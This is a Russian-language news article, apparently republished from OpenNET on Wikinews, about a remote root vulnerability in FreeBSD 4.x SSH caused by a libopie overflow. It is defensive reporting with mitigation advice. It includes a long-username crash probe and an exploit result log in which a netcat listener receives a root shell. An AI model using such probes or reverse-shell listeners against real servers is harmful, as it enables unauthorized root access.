Во FreeBSD 4.x с включенным сервисом SSH найдена удаленная root-уязвимость

30 июня 2011 года

В списке рассылки full-disclosure представлена критическая уязвимость во FreeBSD 4.x, позволяющая удаленному злоумышленнику без аутентификации получить root-доступ к системе через SSH. Уже создан и публично опубликован эксплоит, позволяющий получить привилегированный shell на подверженных уязвимости серверах.

Уязвимость проявляется для протоколов SSH1 и SSH2. Проблема вызвана ошибкой в libopie, обнаруженной и исправленной в 2010 году (CVE-2010-1938, FreeBSD-SA-10:05.opie). Проблеме также подвержены версии FreeBSD вплоть до 8.0 (без соответствующего обновления). Помимо SSH, возможна атака также через FTP и другие сервисы, использующие libopie (через pam_opie или как-либо иначе).

Ошибка проявляется при передаче слишком длинного имени пользователя. Простой способ проверить наличие уязвимости - попытаться обратиться к своему серверу, указав логин порядка 100 символов. Например: "ssh -l`perl -e 'print "A" x 100'` хост", в случае проблемы, можно наблюдать крах рабочего процесса sshd и вывод в лог /var/log/messages сообщения "/kernel: pid N (sshd), uid 0: exited on signal 11 (core dumped)". Изучение core-дампа показало, что проблема подвержена эксплуатации, так как атакующий может контролировать указатель перехода и позиционировать его на shellcode. Прототип рабочего эксплоита был успешно создан путем небольшой модификации кода ssh-клиента из пакета OpenSSH 5.8p2.


$ ./ssh -1 192.168.1.1
$ nc -v -l -p 10000
listening on [any] 10000 ...
192.168.1.1: inverse host lookup failed: Unknown host
connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 1038

uname -a

FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005 /GENERIC i386

id

uid=0(root) gid=0(wheel) groups=0(wheel)

Поддержка ветки FreeBSD 4.x прекращена ещё в 2007 году, но данная версия все еще используется на некоторых серверах в сети. Пользователям старых версий FreeBSD рекомендуется исключить из конфигурации PAM модуль pam_opie.so, что предотвращает использование libopie соответствующими сервисами. Пользователям FreeBSD 6.4 - 8.0 рекомендуется установить обновления.

Дополнение 1: рабочий эксплоит также реализован для более ранних версий FreeBSD.

Дополнение 2: уязвимость находится в libopie, и для ее нейтрализации достаточно закомментировать строчку, подключающую pam_opie.so.

Источники

править
 
 
Creative Commons
Эта статья содержит материалы из статьи «Во FreeBSD 4.x с включенным сервисом SSH найдена удаленная root-уязвимость», опубликованной OpenNET и распространяющейся на условиях лицензии Creative Commons Attribution (CC BY) — указание автора, источник и лицензию.
 
Эта статья загружена автоматически ботом NewsBots в архив и ещё не проверялась редакторами Викиновостей.
Любой участник может оформить статью: добавить иллюстрации, викифицировать, заполнить шаблоны и добавить категории.
Любой редактор может снять этот шаблон после оформления и проверки.

Комментарии

Викиновости и Wikimedia Foundation не несут ответственности за любые материалы и точки зрения, находящиеся на странице и в разделе комментариев.